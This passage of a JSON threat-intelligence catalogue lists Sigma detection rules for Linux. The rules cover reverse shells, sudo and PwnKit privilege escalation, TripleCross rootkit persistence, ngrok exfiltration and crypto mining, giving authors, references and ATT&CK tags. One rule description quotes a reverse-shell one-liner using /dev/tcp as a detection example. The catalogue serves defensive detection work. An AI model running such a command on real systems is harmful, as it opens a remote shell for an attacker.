"level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://alamot.github.io/reverse_shells/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_rev_shells.yml" ], "tags": [ "attack.execution", "attack.t1059.004" ] }, "related": [ { "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "738d9bcf-6999-4fdb-b4ac-3033037db8ab", "value": "Suspicious Reverse Shell Command Line" }, { "description": "Detects suspicious log entries in Linux log files", "meta": { "author": "Florian Roth", "creation_date": "2017/03/25", "falsepositive": [ "Unknown" ], "filename": "lnx_shell_susp_log_entries.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_log_entries.yml" ], "tags": [ "attack.impact" ] }, "uuid": "f64b6e9a-5d9d-48a5-8289-e1dd2b3876e1", "value": "Suspicious Log Entries" }, { "description": "Detects the addition of a new user to a privileged group such as \"root\" or \"sudo\"", "meta": { "author": "Pawel Mazur", "creation_date": "2022/12/21", "falsepositive": [ "Administrative activity" ], "filename": "lnx_privileged_user_creation.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/25acadc0b43a07125a8a5b599b28bbc1a91ffb06/atomics/T1136.001/T1136.001.md#atomic-test-5---create-a-new-user-in-linux-with-root-uid-and-gid", "https://linux.die.net/man/8/useradd", "https://digital.nhs.uk/cyber-alerts/2018/cc-2825", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_privileged_user_creation.yml" ], "tags": [ "attack.persistence", "attack.t1136.001", "attack.t1098" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0ac15ec3-d24f-4246-aa2a-3077bb1cf90e", "value": "Privileged User Has Been Created" }, { "description": "Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800)", "meta": { "author": "Bhabesh Raj", "creation_date": "2022/05/04", "falsepositive": [ "Unknown" ], "filename": "lnx_nimbuspwn_privilege_escalation_exploit.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/", "https://github.com/Immersive-Labs-Sec/nimbuspwn", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_nimbuspwn_privilege_escalation_exploit.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7ba05b43-adad-4c02-b5e9-c8c35cdf9fa8", "value": "Nimbuspwn Exploitation" }, { "description": "Detects suspicious command sequence that JexBoss", "meta": { "author": "Florian Roth", "creation_date": "2017/08/24", "falsepositive": [ "Unknown" ], "filename": "lnx_susp_jexboss.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://www.us-cert.gov/ncas/analysis-reports/AR18-312A", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_susp_jexboss.yml" ], "tags": [ "attack.execution", "attack.t1059.004" ] }, "related": [ { "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8ec2c8b4-557a-4121-b87c-5dfb3a602fae", "value": "JexBoss Command Sequence" }, { "description": "Detects space after filename", "meta": { "author": "Ömer Günal", "creation_date": "2020/06/17", "falsepositive": [ "Typos" ], "filename": "lnx_space_after_filename_.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://attack.mitre.org/techniques/T1064", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_space_after_filename_.yml" ], "tags": [ "attack.execution" ] }, "uuid": "879c3015-c88b-4782-93d7-07adf92dbcb7", "value": "Space After Filename" }, { "description": "Detects the ld.so preload persistence file. See `man ld.so` for more information.", "meta": { "author": "Christian Burkard", "creation_date": "2021/05/05", "falsepositive": [ "Rare temporary workaround for library misconfiguration" ], "filename": "lnx_ldso_preload_injection.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://man7.org/linux/man-pages/man8/ld.so.8.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_ldso_preload_injection.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1574.006" ] }, "uuid": "7e3c4651-c347-40c4-b1d4-d48590fdf684", "value": "Code Injection by ld.so Preload" }, { "description": "Detects suspicious shell commands used in various exploit codes (see references)", "meta": { "author": "Florian Roth", "creation_date": "2017/08/21", "falsepositive": [ "Unknown" ], "filename": "lnx_shell_susp_commands.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", "https://artkond.com/2017/03/23/pivoting-guide/", "http://pastebin.com/FtygZ1cg", "http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_susp_commands.yml" ], "tags": [ "attack.execution", "attack.t1059.004" ] }, "related": [ { "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2aa1440c-9ae9-4d92-84a7-a9e5f5e31695", "value": "Suspicious Activity in Shell Commands" }, { "description": "Detects suspicious shell commands indicating the information gathering phase as preparation for the Privilege Escalation.", "meta": { "author": "Patrick Bareiss", "creation_date": "2019/04/05", "falsepositive": [ "Troubleshooting on Linux Machines" ], "filename": "lnx_shell_priv_esc_prep.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://patrick-bareiss.com/detect-privilege-escalation-preparation-in-linux-with-sigma/", "https://github.com/uber-common/metta/blob/master/MITRE/Privilege_Escalation/privesc_linux_filesystemweakness.yml", "https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_priv_esc_prep.yml" ], "tags": [ "attack.execution", "attack.t1059.004" ] }, "related": [ { "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "444ade84-c362-4260-b1f3-e45e20e1a905", "value": "Privilege Escalation Preparation" }, { "description": "Clear command history in linux which is used for defense evasion.", "meta": { "author": "Patrick Bareiss", "creation_date": "2019/03/24", "falsepositive": [ "Unknown" ], "filename": "lnx_shell_clear_cmd_history.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.003/T1070.003.md", "https://www.hackers-arise.com/single-post/2016/06/20/Covering-your-BASH-Shell-Tracks-AntiForensics", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_shell_clear_cmd_history.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.003" ] }, "related": [ { "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fdc88d25-96fb-4b7c-9633-c0e417fdbd4e", "value": "Clear Command History" }, { "description": "Detects suspicious session with two users present", "meta": { "author": "Florian Roth", "creation_date": "2020/07/03", "falsepositive": [ "Unknown" ], "filename": "lnx_guacamole_susp_guacamole.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://research.checkpoint.com/2020/apache-guacamole-rce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/guacamole/lnx_guacamole_susp_guacamole.yml" ], "tags": [ "attack.credential_access", "attack.t1212" ] }, "related": [ { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1edd77db-0669-4fef-9598-165bda82826d", "value": "Guacamole Two Users Sharing Session Anomaly" }, { "description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "meta": { "author": "Florian Roth", "creation_date": "2017/07/05", "falsepositive": [ "Unknown" ], "filename": "lnx_vsftpd_susp_error_messages.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/dagwieers/vsftpd/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/vsftpd/lnx_vsftpd_susp_error_messages.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "377f33a1-4b36-4ee1-acee-1dbe4b43cfbe", "value": "Suspicious VSFTPD Error Messages" }, { "description": "Detects relevant ClamAV messages", "meta": { "author": "Florian Roth", "creation_date": "2017/03/01", "falsepositive": [ "Unknown" ], "filename": "lnx_clamav_relevant_message.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/clamav/lnx_clamav_relevant_message.yml" ], "tags": [ "attack.resource_development", "attack.t1588.001" ] }, "related": [ { "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb", "value": "Relevant ClamAV Message" }, { "description": "Detects suspicious modification of crontab file.", "meta": { "author": "Pawel Mazur", "creation_date": "2022/04/16", "falsepositive": [ "Legitimate modification of crontab" ], "filename": "lnx_cron_crontab_file_modification.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/cron/lnx_cron_crontab_file_modification.yml" ], "tags": [ "attack.persistence", "attack.t1053.003" ] }, "related": [ { "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "af202fd3-7bff-4212-a25a-fb34606cfcbe", "value": "Modifying Crontab" }, { "description": "Detects potential PwnKit exploitation CVE-2021-4034 in auth logs", "meta": { "author": "Sreeman", "creation_date": "2022/01/26", "falsepositive": [ "Unknown" ], "filename": "lnx_auth_pwnkit_local_privilege_escalation.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://twitter.com/wdormann/status/1486161836961579020", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/auth/lnx_auth_pwnkit_local_privilege_escalation.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548.001" ] }, "related": [ { "dest-uuid": "6831414d-bb70-42b7-8030-d4e06b2660c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0506a799-698b-43b4-85a1-ac4c84c720e9", "value": "PwnKit Local Privilege Escalation" }, { "description": "Detects suspicious failed logins with different user accounts from a single source system", "meta": { "author": "Florian Roth", "creation_date": "2017/02/16", "falsepositive": [ "Terminal servers", "Jump servers", "Workstations with frequently changing users" ], "filename": "lnx_auth_susp_failed_logons_single_source.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/auth/lnx_auth_susp_failed_logons_single_source.yml" ], "tags": [ "attack.credential_access", "attack.t1110" ] }, "uuid": "fc947f8e-ea81-4b14-9a7b-13f888f94e18", "value": "Failed Logins with Different Accounts from Single Source - Linux" }, { "description": "Detects exploitation attempt using public exploit code for CVE-2018-15473", "meta": { "author": "Florian Roth", "creation_date": "2017/08/24", "falsepositive": [ "Unknown" ], "filename": "lnx_sshd_ssh_cve_2018_15473.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/Rhynorater/CVE-2018-15473-Exploit", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_ssh_cve_2018_15473.yml" ], "tags": [ "attack.reconnaissance", "attack.t1589" ] }, "related": [ { "dest-uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4c9d903d-4939-4094-ade0-3cb748f4d7da", "value": "SSHD Error Message CVE-2018-15473" }, { "description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "meta": { "author": "Florian Roth", "creation_date": "2017/06/30", "falsepositive": [ "Unknown" ], "filename": "lnx_sshd_susp_ssh.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c", "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sshd/lnx_sshd_susp_ssh.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e76b413a-83d0-4b94-8e4c-85db4a5b8bdc", "value": "Suspicious OpenSSH Daemon Error" }, { "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", "meta": { "author": "Florian Roth", "creation_date": "2019/10/15", "falsepositive": [ "Unlikely" ], "filename": "lnx_sudo_cve_2019_14287_user.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://twitter.com/matthieugarin/status/1183970598210412546", "https://access.redhat.com/security/cve/cve-2019-14287", "https://www.openwall.com/lists/oss-security/2019/10/14/1", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/sudo/lnx_sudo_cve_2019_14287_user.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068", "attack.t1548.003", "cve.2019.14287" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7fcc54cb-f27d-4684-84b7-436af096f858", "value": "Sudo Privilege Escalation CVE-2019-14287 - Builtin" }, { "description": "Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "meta": { "author": "Florian Roth", "creation_date": "2018/02/20", "falsepositive": [ "Unknown" ], "filename": "lnx_syslog_susp_named.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/syslog/lnx_syslog_susp_named.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c8e35e96-19ce-4f16-aeb6-fd5588dc5365", "value": "Suspicious Named Error" }, { "description": "Detects disabling security tools", "meta": { "author": "Ömer Günal, Alejandro Ortuno, oscd.community", "creation_date": "2020/06/17", "falsepositive": [ "Legitimate administration activities" ], "filename": "lnx_syslog_security_tools_disabling_syslog.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/syslog/lnx_syslog_security_tools_disabling_syslog.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "49f5dfc1-f92e-4d34-96fa-feba3f6acf36", "value": "Disabling Security Tools - Builtin" }, { "description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/10/15", "falsepositive": [ "Any legitimate cron file." ], "filename": "file_event_lnx_persistence_cron_files.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "linux", "refs": [ "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_cron_files.yml" ], "tags": [ "attack.persistence", "attack.t1053.003" ] }, "related": [ { "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6c4e2f43-d94d-4ead-b64d-97e53fa2bd05", "value": "Persistence Via Cron Files" }, { "description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/05", "falsepositive": [ "Creation of legitimate files in sudoers.d folder part of administrator work" ], "filename": "file_event_lnx_persistence_sudoers_files.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "linux", "refs": [ "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_persistence_sudoers_files.yml" ], "tags": [ "attack.persistence", "attack.t1053.003" ] }, "related": [ { "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ddb26b76-4447-4807-871f-1b035b2bfa5d", "value": "Persistence Via Sudoers Files" }, { "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/05", "falsepositive": [ "Unlikely" ], "filename": "file_event_lnx_triple_cross_rootkit_lock_file.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "linux", "refs": [ "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_triple_cross_rootkit_lock_file.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "c0239255-822c-4630-b7f1-35362bcb8f44", "value": "Triple Cross eBPF Rootkit Default LockFile" }, { "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/05", "falsepositive": [ "Unlikely" ], "filename": "file_event_lnx_triple_cross_rootkit_persistence.yml", "level": "high", "logsource.category": "file_event", "logsource.product": "linux", "refs": [ "https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_triple_cross_rootkit_persistence.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.t1053.003" ] }, "related": [ { "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a2ea919-d11d-4d1e-8535-06cda13be20f", "value": "Triple Cross eBPF Rootkit Default Persistence" }, { "description": "Detects the creation of doas.conf file in linux host platform.", "meta": { "author": "Sittikorn S, Teoderick Contreras", "creation_date": "2022/01/20", "falsepositive": [ "Unlikely" ], "filename": "file_event_lnx_doas_conf_creation.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "linux", "refs": [ "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", "https://www.makeuseof.com/how-to-install-and-use-doas/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_event/file_event_lnx_doas_conf_creation.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "00eee2a5-fdb0-4746-a21d-e43fbdea5681", "value": "Linux Doas Conf File Creation" }, { "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", "meta": { "author": "Florian Roth", "creation_date": "2022/11/03", "falsepositive": [ "Legitimate use of ngrok" ], "filename": "net_connection_lnx_ngrok_tunnel.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "linux", "refs": [ "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", "https://twitter.com/hakluke/status/1587733971814977537/photo/1", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml" ], "tags": [ "attack.exfiltration", "attack.command_and_control", "attack.t1567", "attack.t1568.002", "attack.t1572", "attack.t1090", "attack.t1102", "attack.s0508" ] }, "related": [ { "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "19bf6fdb-7721-4f3d-867f-53467f6a5db6", "value": "Communication To Ngrok Tunneling Service - Linux" }, { "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')", "meta": { "author": "Florian Roth", "creation_date": "2021/10/16", "falsepositive": [ "Unknown" ], "filename": "net_connection_lnx_back_connect_shell_dev.yml", "level": "critical", "logsource.category": "network_connection", "logsource.product": "linux", "refs": [ "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml" ], "tags": "No established tags" }, "uuid": "83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871", "value": "Linux Reverse Shell Indicator" }, { "description": "Detects process connections to a Monero crypto mining pool", "meta": { "author": "Florian Roth", "creation_date": "2021/10/26", "falsepositive": [ "Legitimate use of crypto miners" ], "filename": "net_connection_lnx_crypto_mining_indicators.yml", "level": "high", "logsource.category": "network_connection", "logsource.product": "linux", "refs": [ "https://www.poolwatch.io/coin/monero", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml" ], "tags": "No established tags" }, "uuid": "a46c93b7-55ed-4d27-a41b-c259456c4746", "value": "Linux Crypto Mining Pool Connections" }, { "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", "meta": { "author": "Florian Roth", "creation_date": "2019/10/15", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_lnx_sudo_cve_2019_14287.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://twitter.com/matthieugarin/status/1183970598210412546", "https://access.redhat.com/security/cve/cve-2019-14287", "https://www.openwall.com/lists/oss-security/2019/10/14/1", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068", "attack.t1548.003", "cve.2019.14287" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f74107df-b6c6-4e80-bf00-4170b658162b", "value": "Sudo Privilege Escalation CVE-2019-14287" }, { "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_lnx_base64_decode.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "e2072cab-8c9a-459b-b63c-40ae79e27031", "value": "Decode Base64 Encoded Text" }, { "description": "Detects the enumeration of other remote systems.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/22", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_remote_system_discovery.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1018" ] }, "uuid": "11063ec2-de63-4153-935e-b1a8b9e616f1", "value": "Linux Remote System Discovery" }, { "description": "Detects disabling security tools", "meta": { "author": "Ömer Günal, Alejandro Ortuno, oscd.community", "creation_date": "2020/06/17", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_lnx_security_tools_disabling.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e3a8a052-111f-4606-9aee-f28ebeb76776", "value": "Disabling Security Tools" }, { "description": "Detects execution of a the file \"execve_hijack\" which is used by the Triple Cross rootkit as a way to elevate privileges", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/05", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L275", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_triple_cross_rootkit_execve_hijack.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation" ] }, "uuid": "0326c3c8-7803-4a0f-8c5c-368f747f7c3e", "value": "Triple Cross eBPF Rootkit Execve Hijack" }, { "description": "Detects usage of \"vim\" and it's sibilings as a GTFOBin to execute and proxy command and binary execution", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_lnx_gtfobin_vim.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "linux", "refs": [ "https://gtfobins.github.io/gtfobins/vim/", "https://gtfobins.github.io/gtfobins/rvim/", "https://gtfobins.github.io/gtfobins/vimdiff/", 